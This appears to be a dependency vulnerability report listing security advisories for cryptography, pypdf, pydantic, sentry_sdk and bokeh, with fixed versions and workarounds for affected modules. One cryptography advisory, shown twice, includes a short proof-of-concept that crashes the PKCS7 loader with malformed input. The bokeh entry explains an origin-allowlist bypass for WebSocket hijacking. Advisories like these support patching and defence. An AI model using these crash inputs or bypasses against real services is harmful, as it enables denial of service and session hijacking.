## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
PYSEC-2024-225 42.0.4 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
GHSA-9v9h-cgj8-h64p 42.0.2 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
GHSA-jfhm-5ghh-2f97 41.0.6 l10n_es_aeat l10n_es_aeat_sii_oca l10n_es_ticketbai l10n_es_facturae l10n_es_ticketbai_api
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
pydantic<2
ID Fixed In Affected modules Details
GHSA-mr82-8j83-vxmv 2.4.0, 1.10.13 fastapi base_rest_pydantic pydantic base_rest_demo stay_api
Show details
Regular expression denial of service in Pydantic < 2.4.0, < 1.10.13 allows remote attackers to cause denial of service via a crafted email string.
pypdf>=3.1.0,<5.0
ID Fixed In Affected modules Details
GHSA-87mj-5ggw-8qc3 6.9.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading a file in non-strict mode. ### Patches This has been fixed in [pypdf==6.9.2](https://github.com/py-pdf/pypdf/releases/tag/6.9.2). ### Workarounds If users cannot upgrade yet, consider applying the changes from PR [#3693](https://github.com/py-pdf/pypdf/pull/3693).
GHSA-j543-4vmf-qm7v 6.12.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting the text of a page which contains a form XObject with self-references. ### Patches This has been fixed in [pypdf==6.12.2](https://github.com/py-pdf/pypdf/releases/tag/6.12.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3805](https://github.com/py-pdf/pypdf/pull/3805).
GHSA-5hgr-hg42-57jg 6.12.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/FlateDecode` filter with a PNG predictor. ### Patches This has been fixed in [pypdf==6.12.2](https://github.com/py-pdf/pypdf/releases/tag/6.12.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3806](https://github.com/py-pdf/pypdf/pull/3806).
GHSA-9m86-7pmv-2852 6.7.5 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the `/ASCIIHexDecode` filter. ### Patches This has been fixed in [pypdf==6.7.5](https://github.com/py-pdf/pypdf/releases/tag/6.7.5). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3666](https://github.com/py-pdf/pypdf/pull/3666).
GHSA-248m-82v9-q6g6 6.12.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with `/W [0 0 0]` values and large `/Size` values. ### Patches This has been fixed in [pypdf==6.12.0](https://github.com/py-pdf/pypdf/releases/tag/6.12.0). ### Workarounds If developers are unable to upgrade their apps immediately, they should consider applying the changes from PR [#3791](https://github.com/py-pdf/pypdf/pull/3791).
GHSA-7gw9-cf7v-778f 6.10.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).
GHSA-4pxv-j86v-mhcw 6.10.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3735](https://github.com/py-pdf/pypdf/pull/3735).
GHSA-52x6-gq3r-vpf4 6.13.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires extracting the text in layout mode. ### Patches This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830).
GHSA-cj93-chg6-vgv8 6.12.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting text in layout mode with large character offsets. ### Patches This has been fixed in [pypdf==6.12.0](https://github.com/py-pdf/pypdf/releases/tag/6.12.0). ### Workarounds If developers are unable to immediately upgrade, they should consider applying the changes from PR [#3790](https://github.com/py-pdf/pypdf/pull/3790).
GHSA-m449-cwjh-6pw7 6.4.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to a memory usage of up to 1 GB per stream. This requires parsing the content stream of a page using the LZWDecode filter. This is a follow up to [GHSA-jfx9-29x2-rv3j](https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j) to align the default limit with the one for *zlib*. ### Patches This has been fixed in [pypdf==6.4.0](https://github.com/py-pdf/pypdf/releases/tag/6.4.0). ### Workarounds If users cannot upgrade yet, use the line below to overwrite the default in their code: ```python pypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000 ```
GHSA-vr63-x8vc-m265 6.1.3 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires parsing the content stream of a page which has an inline image using the DCTDecode filter. ### Patches This has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3501](https://github.com/py-pdf/pypdf/pull/3501).
GHSA-2q4j-m29v-hq73 6.6.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the outlines/bookmarks. ### Patches This has been fixed in [pypdf 6.6.2](https://github.com/py-pdf/pypdf/releases/tag/6.6.2). ### Workarounds If projects cannot upgrade yet, consider applying the changes from PR [#3610](https://github.com/py-pdf/pypdf/pull/3610).
GHSA-hqmh-ppp3-xvm7 6.8.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing a content stream with a rather large `/Length` value, regardless of the actual data length inside the stream. ### Patches This has been fixed in [pypdf==6.8.0](https://github.com/py-pdf/pypdf/releases/tag/6.8.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3675](https://github.com/py-pdf/pypdf/pull/3675). As far as we are aware, this mostly affects reading from buffers of unknown size, as returned by `open("file.pdf", mode="rb")` for example. Passing a file path or a `BytesIO` buffer to *pypdf* instead does not seem to trigger the vulnerability.
GHSA-7hfw-26vp-jp8m 6.0.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access. ### Patches This has been fixed in [pypdf==6.0.0](https://github.com/py-pdf/pypdf/releases/tag/6.0.0). ### Workarounds If you cannot upgrade yet, you might want to implement the workaround for `pypdf.filters.decompress` yourself: https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143 ### References This issue has been reported in #3429 and fixed in #3430.
GHSA-4f6g-68pf-7vhv 6.6.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for invalid `startxref` entries. When rebuilding the cross-reference table, PDF files with lots of whitespace characters become problematic. Only the non-strict reading mode is affected. ### Patches This has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0). ### Workarounds ```python from pypdf import PdfReader, PdfWriter # Instead of reader = PdfReader("file.pdf") # use the strict mode: reader = PdfReader("file.pdf", strict=True) # Instead of writer = PdfWriter(clone_from="file.pdf") # use an explicit strict reader: writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True)) ``` ### Resources This issue has been fixed in #3594.
GHSA-m2v9-299j-rv96 6.13.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with outlines into a writer. ### Patches This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830).
GHSA-wgvp-vg3v-2xq3 6.7.1 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3646](https://github.com/py-pdf/pypdf/pull/3646).
GHSA-x284-j5p8-9c5p 6.10.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).
GHSA-f2v5-7jq9-h8cg 6.7.4 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream using the RunLengthDecode filter. ### Patches This has been fixed in [pypdf==6.7.4](https://github.com/py-pdf/pypdf/releases/tag/6.7.4). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3664](https://github.com/py-pdf/pypdf/pull/3664).
GHSA-jj6c-8h6c-hppx 6.10.1 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with wrong large `/Size` values or object streams with wrong large `/N` values. ### Patches This has been fixed in [pypdf==6.10.1](https://github.com/py-pdf/pypdf/releases/tag/6.10.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3733](https://github.com/py-pdf/pypdf/pull/3733).
GHSA-wjqc-6w8f-h24c 6.12.1 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements. ### Patches This has been fixed in [pypdf==6.12.1](https://github.com/py-pdf/pypdf/releases/tag/6.12.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3796](https://github.com/py-pdf/pypdf/pull/3796).
GHSA-2rw7-x74f-jg35 6.7.2 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires reading the file. ### Patches This has been fixed in [pypdf==6.7.2](https://github.com/py-pdf/pypdf/releases/tag/6.7.2). ### Workarounds If users cannot upgrade yet, consider applying the changes from PR [#3655](https://github.com/py-pdf/pypdf/pull/3655).
GHSA-996q-pr4m-cvgq 6.7.1 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the children of a `TreeObject`, for example as part of outlines. ### Patches This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3645](https://github.com/py-pdf/pypdf/pull/3645).
GHSA-qpxp-75px-xjcp 6.9.1 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and/or large memory usage. This requires accessing an array-based stream with lots of entries. ### Patches This has been fixed in [pypdf==6.9.1](https://github.com/py-pdf/pypdf/releases/tag/6.9.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3686](https://github.com/py-pdf/pypdf/pull/3686).
GHSA-jfx9-29x2-rv3j 6.1.3 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream of a page using the LZWDecode filter. ### Patches This has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3502](https://github.com/py-pdf/pypdf/pull/3502).
GHSA-jm82-fx9c-mx94 6.13.3 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage, as `MAX_DECLARED_STREAM_LENGTH` is sometimes ignored. This requires parsing a content stream without a `/Length` value. ### Patches This has been fixed in [pypdf==6.13.3](https://github.com/py-pdf/pypdf/releases/tag/6.13.3). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3871](https://github.com/py-pdf/pypdf/pull/3871).
GHSA-x7hp-r3qg-r3cj 6.7.3 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing the `xfa` property of a reader or writer and the corresponding stream being compressed using `/FlateDecode`. ### Patches This has been fixed in [pypdf==6.7.3](https://github.com/py-pdf/pypdf/releases/tag/6.7.3). ### Workarounds If projects cannot upgrade yet, consider applying the changes from PR [#3658](https://github.com/py-pdf/pypdf/pull/3658).
GHSA-3crg-w4f6-42mx 6.10.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the XMP metadata. ### Patches This has been fixed in [pypdf==6.10.0](https://github.com/py-pdf/pypdf/releases/tag/6.10.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3724](https://github.com/py-pdf/pypdf/pull/3724).
GHSA-4xc4-762w-m6cg 6.6.0 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the `/Root` entry in the trailer, while using a rather large `/Size` value. Only the non-strict reading mode is affected. ### Patches This has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0). ### Workarounds ```python from pypdf import PdfReader, PdfWriter # Instead of reader = PdfReader("file.pdf") # use the strict mode: reader = PdfReader("file.pdf", strict=True) # Instead of writer = PdfWriter(clone_from="file.pdf") # use an explicit strict reader: writer = PdfWriter(clone_from=PdfReader("file.pdf", strict=True)) ``` ### Resources This issue has been fixed in #3594.
GHSA-9mvc-8737-8j8h 6.7.1 pdf_helper account_invoice_import_simple_pdf
Show details
### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a malformed `/FlateDecode` stream, where the byte-by-byte decompression is used. ### Patches This has been fixed in [pypdf==6.7.1](https://github.com/py-pdf/pypdf/releases/tag/6.7.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3644](https://github.com/py-pdf/pypdf/pull/3644).
sentry_sdk<=1.9.0
ID Fixed In Affected modules Details
GHSA-g92j-qhmh-64v2 2.8.0, 1.45.1 sentry
Show details
### Impact The bug in Sentry's Python SDK <2.8.0 results in the unintentional exposure of environment variables to subprocesses despite the `env={}` setting. ### Details In Python's `subprocess` calls, all environment variables are passed to subprocesses by default. However, if you specifically do not want them to be passed to subprocesses, you may use `env` argument in `subprocess` calls, like in this example: ``` >>> subprocess.check_output(["env"], env={"TEST":"1"}) b'TEST=1\n' ``` If you'd want to not pass any variables, you can set an empty dict: ``` >>> subprocess.check_output(["env"], env={}) b'' ``` However, the bug in Sentry SDK <2.8.0 causes **all environment variables** to be passed to the subprocesses when `env={}` is set, unless the Sentry SDK's [Stdlib](https://docs.sentry.io/platforms/python/integrations/default-integrations/#stdlib) integration is disabled. The Stdlib integration is enabled by default. ### Patches The issue has been patched in https://github.com/getsentry/sentry-python/pull/3251 and the fix released in [sentry-sdk==2.8.0](https://github.com/getsentry/sentry-python/releases/tag/2.8.0). The fix was also backported to [sentry-sdk==1.45.1](https://github.com/getsentry/sentry-python/releases/tag/1.45.1). ### Workarounds We strongly recommend upgrading to the latest SDK version. However, if it's not possible, and if passing environment variables to child processes poses a security risk for you, there are two options: 1. In your application, replace `env={}` with the minimal dict `env={"EMPTY_ENV":"1"}` or similar. OR 2. Disable Stdlib integration: ``` import sentry_sdk # Should go before sentry_sdk.init sentry_sdk.integrations._DEFAULT_INTEGRATIONS.remove("sentry_sdk.integrations.stdlib.StdlibIntegration") sentry_sdk.init(...) ``` ### References * Sentry docs: [Default integrations](https://docs.sentry.io/platforms/python/integrations/default-integrations/) * Python docs: [subprocess module](https://docs.python.org/3/library/subprocess.html) * Patch https://github.com/getsentry/sentry-python/pull/3251
GHSA-29pr-6jr8-q5jm 1.14.0 sentry
Show details
### Impact When using the [Django integration](https://docs.sentry.io/platforms/python/guides/django/) of the Sentry SDK in a specific configuration it is possible to leak sensitive cookies values, including the session cookie to Sentry. These sensitive cookies could then be used by someone with access to your Sentry issues to impersonate or escalate their privileges within your application. The below must be true in order for these sensitive values to be leaked: 1. Your Sentry SDK configuration has `sendDefaultPII` set to `True` 2. You are using a custom name for either of the cookies below in your Django settings. - [`SESSION_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-SESSION_COOKIE_NAME) or - [`CSRF_COOKIE_NAME`](https://docs.djangoproject.com/en/4.1/ref/settings/#std-setting-CSRF_COOKIE_NAME) Django settings 3. You are not configured in your organization or project settings to use [our data scrubbing features](https://docs.sentry.io/product/data-management-settings/scrubbing/) to account for the custom cookie names ### Patches As of version `1.14.0`, the Django integration of the `sentry-sdk` will detect the custom cookie names based on your Django settings and will remove the values from the payload _before_ sending the data to Sentry. ### Workarounds If you can not update your `sentry-sdk` to a patched version than you can use the SDKs filtering mechanism to remove the cookies from the payload that is sent to Sentry. For error events this can be done with the [before_send](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-) callback method and for performance related events (transactions) you can use the [before_send_transaction](https://docs.sentry.io/platforms/python/configuration/filtering/#using-platformidentifier-namebefore-send-transaction-) callback method. If you'd like to handle filtering of these values on the server-side, you can also use our [advanced data scrubbing feature](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) to account for the custom cookie names. Look for the `$http.cookies`, `$http.headers`, `$request.cookies`, or `$request.headers` fields to target with your scrubbing rule. ### References - [Using Your Tools Against You (Chapter8 Blog Post)](https://medium.com/@tomwolters/using-your-tools-against-you-cea4d2482ebb) - [Sentry Python SDK Filtering](https://docs.sentry.io/platforms/python/configuration/filtering/) - [Sentry Data Scrubbing](https://docs.sentry.io/product/data-management-settings/scrubbing/advanced-datascrubbing/) ### Credits - [Tom Wolters (Chapter8)](https://chapter8.com)

51 vulnerabilities across 7 packages, affecting 11 modules.

bokeh==2.4.2
ID Fixed In Affected modules Details
GHSA-793v-589g-574v 3.8.2 web_widget_bokeh_chart
Show details
This vulnerability allows for **Cross-Site WebSocket Hijacking (CSWSH)** of a deployed Bokeh server instance. ### Scope This vulnerability is only relevant to deployed Bokeh server instances. There is no impact on static HTML output, standalone embedded plots, or Jupyter notebook usage. This vulnerability does not prevent any requirements for up-front authentication on Bokeh servers that have authentication hooks in place, and cannot be used to make Bokeh servers deployed on private, internal networks accessible outside those networks. ### Impact If a Bokeh server is configured with an allowlist (e.g., `dashboard.corp`), an attacker can register a domain like `dashboard.corp.attacker.com` (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., `http://dashboard.corp.attacker.com/`) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. ### Patches Patched in versions 3.8.2 and later. ### Workarounds None ### Technical description The `match_host` function in `src/bokeh/server/util.py` contains a flaw in how it compares hostnames against the allowlist patterns. The function uses Python's `zip()` function to iterate over the parts of the hostname and the pattern simultaneously. However, `zip()` stops iteration when the shortest iterable is exhausted. Because the code only checks if the *pattern* is longer than the *host* (lines 232-233), but fails to check if the *host* is longer than the *pattern*, a host that **starts** with the pattern (but has additional segments) will successfully match. For example, if the allowlist is configured to `['[example.com](http://example.com/)']`, the function will incorrectly validate `[example.com.bad.com](http://example.com.evil.com/)` as a match: 1. `host` parts: `['example', 'com', 'bad', 'com']` 2. `pattern` parts: `['example', 'com']` 3. `zip` compares `example==example` (OK) and `com==com` (OK). 4. Iteration stops, and the function returns `True`.
cryptography<37
ID Fixed In Affected modules Details
GHSA-3ww4-gg4f-jr7f 42.0.0 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-v8gr-m533-ghj9 41.0.4 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-9v9h-cgj8-h64p 42.0.2 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
GHSA-5cpq-8wj7-hf2v 41.0.0 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-x4qr-2fvf-3mr5 39.0.1 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-jfhm-5ghh-2f97 41.0.6 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
GHSA-w7pp-m8wf-vj6r 39.0.1 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-jm77-qphf-c4w8 41.0.3 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-r6ph-v2qm-q3c2 46.0.5 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
PYSEC-2023-254 41.0.6 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
